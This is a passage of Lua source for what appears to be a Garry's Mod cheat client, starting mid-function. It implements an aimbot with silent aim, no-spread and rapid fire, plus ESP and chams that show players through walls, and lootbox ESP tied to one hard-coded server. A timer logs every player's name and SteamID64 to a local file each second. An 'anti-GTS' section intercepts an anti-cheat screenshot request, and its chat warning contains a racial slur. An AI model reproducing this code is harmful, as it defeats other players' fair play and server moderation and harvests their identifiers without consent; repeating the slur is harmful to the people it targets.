            freecamEnabled = !freecamEnabled
            freecamAngles = LocalPlayer():EyeAngles()
            freecamAngles2 = LocalPlayer():EyeAngles()
            freecamPos = LocalPlayer():EyePos()
            keyPressed = true
        end
    else
        keyPressed = false
    end
	if ftg.vars["VIOL_THIRD"] then
		if input.IsKeyDown(KEY_V) then
			if not var.togglethird then
				var.thirdPersonEnabled = !var.thirdPersonEnabled
				var.togglethird = true
			end
		else
			var.togglethird = false
		end
	end
    if ftg.vars["VIOL_DT"] then
        if not LocalPlayer():Alive() then return end
        if not LocalPlayer():GetActiveWeapon():Clip1() then return end
        local CurClip = LocalPlayer():GetActiveWeapon():Clip1()
        local isSniper = table.HasValue(sniperWeapons, LocalPlayer():GetActiveWeapon():GetClass())
            
        if DTActivated then
            if LastClip > CurClip then
                if Ball1RedTime == 0 then
                    Ball1RedTime = CurTime()
                    Ball1DoubleTap = true
                elseif Ball2RedTime == 0 then
                    Ball2RedTime = CurTime()
                end
            end
        end

        if LastClip > CurClip and not DTActivated then
            if Ball1RedTime == 0 then
                Ball1RedTime = CurTime()
            elseif Ball2RedTime == 0 then
                Ball2RedTime = CurTime()
            end
        end


        if Ball1DoubleTap and Ball1RedTime > 0 and CurTime() - Ball1RedTime > 0.3 and not isSniper then
            cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
            TestDt = true
        else
            TestDt = false
    	end
    
        if Ball1DoubleTap  and Ball1RedTime > 0 and CurTime() - Ball1RedTime > 0.3 and isSniper then
            cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
            TestDt = true
        else
            TestDt = false
    	end

        LastClip = CurClip
        DoubleTap(cmd)
    end
	if ftg.vars["VIOL_AIMBOT"] then
			local cloply = GetPlayerInCircle()
			if cloply then
				local bonePos = cloply:GetBonePosition(cloply:LookupBone("ValveBiped.Bip01_Neck1"))
				local direction = (bonePos - var.me:GetShootPos()):Angle()
				direction:Normalize()

				if VisibleCheck(cloply, bonePos) then
					if ftg.vars["VIOL_AUTOFIRE"] or cmd:KeyDown(IN_ATTACK) or TestDt then
						if ftg.vars["VIOL_PSILENT"] then
							ded.SetContextVector(cmd, direction:Forward(), true)
						elseif ftg.vars["VIOL_NOSPREAD"] then
							direction = predictSpread(cmd, direction)
							cmd:SetViewAngles(direction)
						else
							cmd:SetViewAngles(direction)
						end
						
						if ftg.vars["VIOL_RAPIDFIRE"] then
							if cmd:TickCount() % 2 == 0 then
								cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
							else
								cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
							end
						end
						if ftg.vars["VIOL_AUTOFIRE"] then
							local weapon = var.me:GetActiveWeapon()
							if IsValid(weapon) then
								local isSemi = weapon.Primary and weapon.Primary.Automatic == false or weapon:GetClass():find("pistol")

								if isSemi then
									if cmd:TickCount() % 2 == 0 then
										cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
									else
										cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_ATTACK)))
									end
								else
									cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK))
								end
							end
					end
				end
			end
		end
	end
    
    if ftg.vars["VIOL_SILENT"] then
        MovementFix(cmd,wish_yaw)
    end

    if !ftg.vars["VIOL_SILENT"] then var.fa = cmd:GetViewAngles() end
end

VARhooks("CreateMove", test)
function GAMEMODE:CreateMove( cmd ) return true end

--		 :::     ::: ::::::::::: :::::::::: :::       ::: 
--		 :+:     :+:     :+:     :+:        :+:       :+: 
--		 +:+     +:+     +:+     +:+        +:+       +:+ 
--		 +#+     +:+     +#+     +#++:++#   +#+  +:+  +#+ 
--		  +#+   +#+      +#+     +#+        +#+ +#+#+ +#+ 
--		   #+#+#+#       #+#     #+#         #+#+# #+#+#  
--		     ###     ########### ##########   ###   ###

vieworigin = var.me:EyePos()
VARhooks("CalcView", function(ply, origin, angles, fov, znear, zfar)
    local view = {}
    local fangs = ftg.vars["VIOL_SILENT"] and var.fa or angles
    if freecamEnabled then
        view = {
            origin = freecamPos,
            angles = freecamAngles,
            fov = ftg.vars["VIOL_FOV"] and 120 or fov, 
            drawviewer = true
        }
    elseif var.thirdPersonEnabled then
        view.origin = origin - (fangs:Forward() * 80)
        view.angles = fangs
        view.fov = ftg.vars["VIOL_FOV"] and 120 or fov
        view.drawviewer = true
    elseif targetspec and IsValid(targetspec) then
        view.origin = targetspec:EyePos() - (fangs:Forward() * 130)
        view.angles = fangs
        view.fov = ftg.vars["VIOL_FOV"] and 120 or fov
        view.drawviewer = true
    else
        view.origin = origin
        view.angles = fangs
        view.fov = ftg.vars["VIOL_FOV"] and 120 or fov
        view.drawviewer = false
        view.angles = var.fa
        vieworigin = origin
    end

    return view
end)


VARhooks("CalcViewModelView", function(wep, vm, oldPos, oldAng, pos, ang)
	if ftg.vars["VIOL_FREECAM"] then return end
    pos = vieworigin 
    ang = ftg.vars["VIOL_SILENT"] and var.fa or ang
    return pos, ang
end)

--		 :::    ::: :::    ::: :::::::::     :::::::::      :::     ::::::::::: ::::    ::: ::::::::::: 
--		 :+:    :+: :+:    :+: :+:    :+:    :+:    :+:   :+: :+:       :+:     :+:+:   :+:     :+:     
--		 +:+    +:+ +:+    +:+ +:+    +:+    +:+    +:+  +:+   +:+      +:+     :+:+:+  +:+     +:+     
--		 +#++:++#++ +#+    +:+ +#+    +:+    +#++:++#+  +#++:++#++:     +#+     +#+ +:+ +#+     +#+     
--		 +#+    +#+ +#+    +#+ +#+    +#+    +#+        +#+     +#+     +#+     +#+  +#+#+#     +#+     
--		 #+#    #+# #+#    #+# #+#    #+#    #+#        #+#     #+#     #+#     #+#   #+#+#     #+#     
--		 ###    ###  ########  #########     ###        ###     ### ########### ###    ####     ###

local LeftLeg = {
	"ValveBiped.Bip01_Spine",
	"ValveBiped.Bip01_L_Calf",
	"ValveBiped.Bip01_L_Foot",
}
local LeftArm = {
	"ValveBiped.Bip01_Head1",
	"ValveBiped.Bip01_L_Forearm",
	"ValveBiped.Bip01_L_Hand",
}
local RightLeg = {
	"ValveBiped.Bip01_Spine",
	"ValveBiped.Bip01_R_Calf",
	"ValveBiped.Bip01_R_Foot",
}
local RightArm = {
	"ValveBiped.Bip01_Head1",
	"ValveBiped.Bip01_R_Forearm",
	"ValveBiped.Bip01_R_Hand",
}


local invalidbone = {}
local function GetBonePos( ply, bone )
	local bone = ply:LookupBone(bone)
	if !bone then invalidbone[ply] = true return end
	local pos, ang = ply:GetBonePosition(bone)
	return pos
end

local function espbones()
	local time = CurTime()
	
	if ftg.vars["VIOL_ESP"] then
	    local Width

		for n, p in next, player.GetAll() do
			if validation(p) then
				GetBonePos(p, "ValveBiped.Bip01_Head1")
				if invalidbone[p] then return end
				if not IsOutOfFOV(p) then
					local Dist = math.Clamp(p:GetShootPos():Distance(LocalPlayer():GetShootPos()), 100, 2500)
					local StretchX = Dist / 200
					local StretchY = Dist / 200
					
					cam.Start3D()
					cam.IgnoreZ(true)
					render.SuppressEngineLighting(true)
					render.SetMaterial(Material("trails/laser"))
					
					Width = Dist / 30
					
					local r = math.abs(math.sin(time * 1.5)) * 255
					local g = math.abs(math.sin(time * 1.0)) * 255
					local b = math.abs(math.sin(time * 2.0)) * 255
					local color = Color(r, g, b, 255)
					render.DrawBeam(GetBonePos(p, "ValveBiped.Bip01_Head1"), GetBonePos(p, "ValveBiped.Bip01_Spine"), Width, 100, 100, color)

					for k, v in pairs(LeftLeg) do
						if k < 3 then
							render.DrawBeam(GetBonePos(p, LeftLeg[k]), GetBonePos(p, LeftLeg[k + 1]), Width, 100, 100, color)
							render.DrawBeam(GetBonePos(p, RightLeg[k]), GetBonePos(p, RightLeg[k + 1]), Width, 100, 100, color)
							render.DrawBeam(GetBonePos(p, RightArm[k]), GetBonePos(p, RightArm[k + 1]), Width, 100, 100, color)
							render.DrawBeam(GetBonePos(p, LeftArm[k]), GetBonePos(p, LeftArm[k + 1]), Width, 100, 100, color)
						end
					end
					
					render.SuppressEngineLighting(false)
					cam.IgnoreZ(false)
					cam.End3D()
				end
			end
		end
	end
end

VARhooks("PostDrawHUD", espbones)


function MYHUDPAINT()
	if ftg.vars["VIOL_ESP"] then
		-- for k, v in ipairs(player.GetAll()) do
			-- if not IsValid(v) or v == var.me or not v:Alive() or v:IsDormant() then continue end 
			-- for _, b in pairs(var.SkeletonTBL) do
				-- if v:LookupBone(b.F) != nil and v:LookupBone(b.B) != nil then
					-- local spos, epos = v:GetBonePosition(v:LookupBone(b.F)):ToScreen(), v:GetBonePosition(v:LookupBone(b.B)):ToScreen()
					-- if spos.visible and epos.visible then
						-- color = GetColorForMaterial(i)
						-- surface.SetDrawColor(Color(color[1], color[2], color[3]))
						-- surface.DrawLine(spos.x, spos.y, epos.x, epos.y)
						-- i = i + 1
					-- end
				-- end
			-- end
		-- end
		for _, py in pairs(player.GetAll()) do
			if not IsValid(py) or py == var.me or not py:Alive() or py:IsDormant() then continue end
			local screen_pos = (py:GetPos() + Vector(0, 0, 80)):ToScreen()

			draw.SimpleTextOutlined(py:Nick(), font_name, screen_pos.x, screen_pos.y - 10, Color(117, 0, 171), 1, 1, 1, Color(30, 30, 30, 255))
		end
    end
	if ftg.vars["VIOL_AIMBOT"] then
		local cloply = GetPlayerInCircle()
		if cloply then
			local bonePos = cloply:GetBonePosition(cloply:LookupBone("ValveBiped.Bip01_Head1"))
			if VisibleCheck(cloply, bonePos) then 
				if bonePos then
                    local pos = bonePos:ToScreen()
                    local startX, startY = ScrW() / 2, ScrH() / 2
                    local distance = math.Distance(startX, startY, pos.x, pos.y)
    
                    local time = CurTime()
                    local r = math.abs(math.sin(time * 1.5)) * 255
                    local g = math.abs(math.sin(time * 1.0)) * 255
                    local b = math.abs(math.sin(time * 2.0)) * 255
                    local color = Color(r, g, b, 255)
    
                    surface.SetDrawColor(color)
                    surface.DrawLine(startX, startY, pos.x, pos.y)

                    local health = cloply:Health()
                    local armor = cloply:Armor()
                    local health_color = Color(0, 255, 0)
                    if health <= 25 then
                        health_color = Color(255, 0, 0)
                    elseif health <= 50 then
                        health_color = Color(255, 165, 0)
                    end
                    
                    local screenCenterX, screenCenterY = ScrW() / 2, ScrH() / 2
                    draw.SimpleText(health, "Default", screenCenterX, screenCenterY - 25, health_color, TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
                    draw.SimpleText(armor, "Default", screenCenterX, screenCenterY - 10, Color(0, 191, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
                end
            end
        end
    end
	var.anglecross = var.anglecross + FrameTime() * 50

	local function RotatePoint(x, y, angle)
		local cosA = math.cos(math.rad(var.anglecross))
		local sinA = math.sin(math.rad(var.anglecross))
		return var.centerX + (x * cosA - y * sinA), var.centerY + (x * sinA + y * cosA)
	end

	for i, seg in ipairs(var.segments) do
		color = GetColorForMaterial(i)
		
		surface.SetDrawColor(color[1], color[2], color[3])

		local x1, y1 = RotatePoint(seg[1], seg[2], var.anglecross)
		local x2, y2 = RotatePoint(seg[3], seg[4], var.anglecross)
		surface.DrawLine(x1, y1, x2, y2)
	end
    if ftg.vars["VIOL_DT"] then
        if not LocalPlayer():Alive() then return end
        if not LocalPlayer():GetActiveWeapon():Clip1() then return end
        local CurClip = LocalPlayer():GetActiveWeapon():Clip1()
        local BallColor1 = Color(255, 255, 255)
        local BallColor2 = Color(255, 255, 255)

        if Ball1DoubleTap and CurTime() - Ball1RedTime < 1 then
            BallColor1 = Color(255, 0, 0)
        elseif CurTime() - Ball1RedTime >= 1 then
            Ball1RedTime = 0
            Ball1DoubleTap = false
        end

        if Ball1DoubleTap and CurTime() - Ball2RedTime < 1 then
            BallColor2 = Color(255, 0, 0)
        elseif CurTime() - Ball2RedTime >= 1 then
            Ball2RedTime = 0
        end

        local baseX = 100
        local baseY = ScrH() / 2

        surface.SetFont("TheDefaultSettings1")
        local text = "D"
        local textWidth, textHeight = surface.GetTextSize(text)

        surface.SetTextColor(BallColor1)
        surface.SetTextPos(baseX, baseY - textHeight / 0.8)
        surface.DrawText(text)

        surface.SetDrawColor(BallColor1)
        surface.DrawRect(baseX + textWidth - 45, baseY - textHeight / 0.8 + 8, 25, 23)

        surface.SetTextColor(BallColor2)
        surface.SetTextPos(baseX, baseY - textHeight / 2)
        surface.DrawText(text)

        surface.SetDrawColor(BallColor2)
        surface.DrawRect(baseX + textWidth - 45, baseY - textHeight / 2 + 8, 25, 23)
    else
        BallColor1 = Color(255, 255, 255, 255)
        BallColor2 = Color(255, 255, 255, 255)
    end
	if game.GetIPAddress() == "194.147.90.169:24215" then
		for _, ent in ipairs(ents.GetAll()) do
			if string.StartWith(ent:GetClass(), "ent_lootbox") then
				local color = var.entityColors[ent:GetClass()] or Color(255, 255, 255, 255)

				local mins, maxs = ent:OBBMins(), ent:OBBMaxs()
				local corners = {
					ent:LocalToWorld(Vector(mins.x, mins.y, mins.z)),
					ent:LocalToWorld(Vector(mins.x, mins.y, maxs.z)),
					ent:LocalToWorld(Vector(mins.x, maxs.y, mins.z)),
					ent:LocalToWorld(Vector(mins.x, maxs.y, maxs.z)),
					ent:LocalToWorld(Vector(maxs.x, mins.y, mins.z)),
					ent:LocalToWorld(Vector(maxs.x, mins.y, maxs.z)),
					ent:LocalToWorld(Vector(maxs.x, maxs.y, mins.z)),
					ent:LocalToWorld(Vector(maxs.x, maxs.y, maxs.z))
				}

				local screenCorners = {}
				for _, corner in ipairs(corners) do
					local screenPos = corner:ToScreen()
					if screenPos.visible then
						table.insert(screenCorners, screenPos)
					end
				end

				if #screenCorners == 8 then
					surface.SetDrawColor(color)

					local edges = {
						{1, 2}, {2, 4}, {4, 3}, {3, 1},
						{5, 6}, {6, 8}, {8, 7}, {7, 5},
						{1, 5}, {2, 6}, {3, 7}, {4, 8}
					}

					for _, edge in ipairs(edges) do
						local p1, p2 = screenCorners[edge[1]], screenCorners[edge[2]]
						surface.DrawLine(p1.x, p1.y, p2.x, p2.y)
					end
				end
			end
		end
	end
end

--		  ::::::::  :::    :::     :::     ::::    ::::   ::::::::  
--		 :+:    :+: :+:    :+:   :+: :+:   +:+:+: :+:+:+ :+:    :+: 
--		 +:+        +:+    +:+  +:+   +:+  +:+ +:+:+ +:+ +:+        
--		 +#+        +#++:++#++ +#++:++#++: +#+  +:+  +#+ +#++:++#++ 
--		 +#+        +#+    +#+ +#+     +#+ +#+       +#+        +#+ 
--		 #+#    #+# #+#    #+# #+#     #+# #+#       #+# #+#    #+# 
--		  ########  ###    ### ###     ### ###       ###  ########

local function CHAMS()
	if ftg.vars["VIOL_CHAMS"] then
		for k, v in ipairs(player.GetAll()) do
			local distance = LocalPlayer():GetPos():Distance(v:GetPos())
			if validation(v) and not IsOutOfFOV(v) then
				local oldPos = v:GetPos()
				camignorez(true)
				render.SuppressEngineLighting(true)
				v:SetRenderMode(RENDERMODE_TRANSALPHA)
				if material == "glow" then
					render.MaterialOverride(Glow2)
					Glow2:SetVector( "$color2", Vector(0.35, 0, 0.35))
					v:DrawModel()

					render.SetColorModulation(0.5, 0, 0.5)
					render.MaterialOverride(Glow)
					v:DrawModel()
				elseif material == "metal" then
					render.SetColorModulation(0, 0, 0)
					render.MaterialOverride(Metal)
					v:DrawModel()
				elseif material == "velvet" then
					render.SetColorModulation(0, 0, 0)
					render.MaterialOverride(Velvet)
					v:DrawModel()
				elseif material == "nayl" then
					local colorVector = Vector(1, 1, 1)
					Glow2:SetVector("$color2", colorVector)
					render.SetColorModulation(1, 1, 1)
					render.MaterialOverride(Glow2)
					render.SetModelLighting(0, 1, 0.3, 0.3)
					render.SetModelLighting(1, 0.3, 1, 0.3)
					render.SetModelLighting(2, 0.3, 0.3, 1)
					render.SetModelLighting(3, 1, 1, 0)
					render.SetModelLighting(4, 1, 0, 1)
					render.SetModelLighting(5, 0, 1, 1)
					v:DrawModel()
				end
				render.SuppressEngineLighting(false)
				camignorez(false)
				render.SetColorModulation(1, 1, 1) 
				render.SetBlend(1)
				render.MaterialOverride(nil)
				v:SetRenderMode(RENDERMODE_NORMAL)
				v:SetPos(oldPos)
			end
		end
	end
	if ftg.vars["VIOL_PROPSCHAMS"] then
		for k,v in next, ents.FindByClass("prop_physics") do
			local distance = v:GetPos():Distance(LocalPlayer():GetPos()) / 500
			local oldPos = v:GetPos()
			
			camignorez(true)
			render.SuppressEngineLighting(true)
			v:SetRenderMode(RENDERMODE_TRANSALPHA)
			if material == "glow" then
				render.MaterialOverride(Glow2)
				Glow2:SetVector( "$color2", Vector(0.35, 0, 0.35))
				v:DrawModel()

				render.SetColorModulation(0.5, 0, 0.5)
				render.MaterialOverride(Glow)
				v:DrawModel()
			elseif material == "metal" then
				render.SetColorModulation(0, 0, 0)
				render.MaterialOverride(Metal)
				v:DrawModel()
			elseif material == "velvet" then
				render.SetColorModulation(0, 0, 0)
				render.MaterialOverride(Velvet)
				v:DrawModel()
			elseif material == "nayl" then
				local colorVector = Vector(1, 1, 1)
				Glow2:SetVector("$color2", colorVector)
				render.SetColorModulation(1, 1, 1)
				render.MaterialOverride(Glow2)
				render.SetModelLighting(0, 1, 0.3, 0.3)
				render.SetModelLighting(1, 0.3, 1, 0.3)
				render.SetModelLighting(2, 0.3, 0.3, 1)
				render.SetModelLighting(3, 1, 1, 0)
				render.SetModelLighting(4, 1, 0, 1)
				render.SetModelLighting(5, 0, 1, 1)
				v:DrawModel()
			end
			render.SuppressEngineLighting(false)
			camignorez(false)
			render.SetColorModulation(1, 1, 1) 
			render.SetBlend(1)
			render.MaterialOverride(nil)
			v:SetRenderMode(RENDERMODE_NORMAL)
			v:SetPos(oldPos)
		end
	end
end

VARhooks("PreDrawEffects", CHAMS)

local IsDrawingGlow = false
local drawing = false
VARhooks("PreDrawViewModel", function(vm)
	if ftg.vars["VIOL_WEAPONCHAMS"] then
		render.SuppressEngineLighting(true)
		if material == "glow" then
			local colorVector = Vector(0.24, 0, 0.24)
			Glow2:SetVector("$color2", colorVector)
			render.MaterialOverride(Glow2)
			
			if IsDrawingGlow then
				-- render.SetColorModulation(0.5, 0, 0.5)
				-- render.MaterialOverride(Glow)
			else
				render.SetColorModulation(1, 1, 1)
			end
		elseif material == "metal" then
			if IsDrawingGlow then
				render.SetColorModulation(0, 0, 0)
				render.MaterialOverride(Metal)
			else
				render.SetColorModulation(1, 1, 1)
			end
		elseif material == "velvet" then
			if IsDrawingGlow then
				render.SetColorModulation(0, 0, 0)
				render.MaterialOverride(Velvet)
			else
				render.SetColorModulation(1, 1, 1)
			end
		elseif material == "nayl" then
			if IsDrawingGlow then
				local colorVector = Vector(1, 1, 1)
				Glow2:SetVector("$color2", colorVector)
				render.SetColorModulation(1, 1, 1)
				render.MaterialOverride(Glow2)
				render.SetModelLighting(0, 0.8, 0.2, 0.2)
				render.SetModelLighting(1, 0.2, 0.8, 0.2)
				render.SetModelLighting(2, 0.1, 0.5, 0.8)
				render.SetModelLighting(3, 0.8, 0.8, 0)
				render.SetModelLighting(4, 0.8, 0, 0.8)
				render.SetModelLighting(5, 0, 0.8, 0.8)
			else
				render.SetColorModulation(1, 1, 1)
			end
		end
	end
	render.SetColorModulation(1, 1, 1)
    if not drawing then
        cam.IgnoreZ(true)
        cam.Start3D(nil, nil, 110)
        drawing = true
        vm:DrawModel()
        drawing = false
        cam.End3D()
        cam.IgnoreZ(false)
    else
        return
    end
    return true
end)

VARhooks("PostDrawViewModel", function()
	if ftg.vars["VIOL_WEAPONCHAMS"] then
		render.SetColorModulation(1, 1, 1)
		render.MaterialOverride(None)
		render.SetBlend(1)
		render.SuppressEngineLighting(false)

		if IsDrawingGlow then return end

		IsDrawingGlow = true
		LocalPlayer():GetViewModel():DrawModel()
		IsDrawingGlow = false
	end
end)

local stencleTexture = Material("skybox.png")

VARhooks("PostDraw2DSkyBox",function()
	if ftg.vars["VIOL_SKYBOX"] then
		render.SetStencilWriteMask(0xFF)
		render.SetStencilTestMask(0xFF)
		render.SetStencilReferenceValue(1)

		render.SetStencilCompareFunction(STENCIL_ALWAYS)
		render.SetStencilPassOperation(STENCIL_REPLACE)

		render.SetStencilEnable(true)
		render.ClearStencil()

		render.SetMaterial(stencleTexture)
		render.DrawScreenQuad()

		render.SetStencilEnable(false)
	end
end)

--		 :::    ::: ::::::::::: :::::::::::     ::::::::   ::::::::  :::    ::: ::::    ::: :::::::::  
--		 :+:    :+:     :+:         :+:        :+:    :+: :+:    :+: :+:    :+: :+:+:   :+: :+:    :+: 
--		 +:+    +:+     +:+         +:+        +:+        +:+    +:+ +:+    +:+ :+:+:+  +:+ +:+    +:+ 
--		 +#++:++#++     +#+         +#+        +#++:++#++ +#+    +:+ +#+    +:+ +#+ +:+ +#+ +#+    +:+ 
--		 +#+    +#+     +#+         +#+               +#+ +#+    +#+ +#+    +#+ +#+  +#+#+# +#+    +#+ 
--		 #+#    #+#     #+#         #+#        #+#    #+# #+#    #+# #+#    #+# #+#   #+#+# #+#    #+# 
--		 ###    ### ###########     ###         ########   ########   ########  ###    #### #########


gameevent.Listen( "player_hurt" )
VARhooks("player_hurt", function(data)
    local health = data.health
	local priority = SERVER and data.Priority or 5
	local hurted = Player( data.userid )
	local attackerid = data.attacker

	if attackerid == LocalPlayer():UserID() then
        surface.PlaySound("rust.wav")
    end
end)

--		  ::::::::   ::::::::  :::::::::      :::     :::::::::  :::::::::: 
--		 :+:    :+: :+:    :+: :+:    :+:   :+: :+:   :+:    :+: :+:        
--		 +:+        +:+        +:+    +:+  +:+   +:+  +:+    +:+ +:+        
--		 +#++:++#++ +#+        +#++:++#:  +#++:++#++: +#++:++#+  +#++:++#   
--		        +#+ +#+        +#+    +#+ +#+     +#+ +#+        +#+        
--		 #+#    #+# #+#    #+# #+#    #+# #+#     #+# #+#        #+#        
--		  ########   ########  ###    ### ###     ### ###        ##########

local function SavePlayerInfoToFile()
    local serverName = GetHostName()
    local fullServerIP = game.GetIPAddress()
    local serverIP = fullServerIP:match("([^:]+)")
    local dateTime = os.date("%Y-%m-%d %H:%M:%S")
    local filePath = ".scrape/" .. serverIP .. ".txt"
    local existingEntries = {}
    
    if file.Exists(filePath, "DATA") then
        local existingContent = file.Read(filePath, "DATA")
        for _, line in ipairs(string.Split(existingContent, "\n")) do
            if line ~= "" then
                local existingName = string.match(line, "^[^,]+") 
                existingEntries[existingName] = true
            end
        end
    end

    local newEntries = {}
    
    for _, ply in ipairs(player.GetAll()) do
        local playerName = ply:Nick()
        local steamID64 = ply:SteamID64()
        local newInfoLine = string.format("%s, %s, %s, %s, %s", playerName, steamID64, dateTime, serverName, serverIP)

        if not existingEntries[playerName] then
            newEntries[#newEntries + 1] = newInfoLine
            existingEntries[playerName] = true
        end
    end

    if #newEntries > 0 then
        file.Append(filePath, table.concat(newEntries, "\n") .. "\n")
        print("[INFO] Informations des joueurs sauvegardées dans le fichier: " .. filePath)
    end
end

timer.Create("SavePlayerInfoTimer", 1, 0, SavePlayerInfoToFile)

--		     :::     ::::    ::: ::::::::::: :::::::::::     ::::::::  :::::::::::  ::::::::  
--		   :+: :+:   :+:+:   :+:     :+:         :+:        :+:    :+:     :+:     :+:    :+: 
--		  +:+   +:+  :+:+:+  +:+     +:+         +:+        +:+            +:+     +:+        
--		 +#++:++#++: +#+ +:+ +#+     +#+         +#+        :#:            +#+     +#++:++#++ 
--		 +#+     +#+ +#+  +#+#+#     +#+         +#+        +#+   +#+#     +#+            +#+ 
--		 #+#     #+# #+#   #+#+#     #+#         #+#        #+#    #+#     #+#     #+#    #+# 
--		 ###     ### ###    ####     ###     ###########     ########      ###      ########

for cmdName, _ in pairs(concommand.GetTable()) do
	if string.find(cmdName, "gts") then
		net.Receive("GimmeThatScreen_Request", function(len) 
		local Authed = net.ReadBool() 
		local ply = net.ReadEntity() 
		local UINT6 = net.ReadString() 
		local UINT10 = net.ReadString()    
		chatText(ply, " Nigger want to screengrab you !!!") end)
	end
end

function GAMEMODE:HUDPaint()
    var.ORIGINALHUDPAINT(self)
    MYHUDPAINT()
end

function GAMEMODE.PreDrawPlayerHands()
	return true
end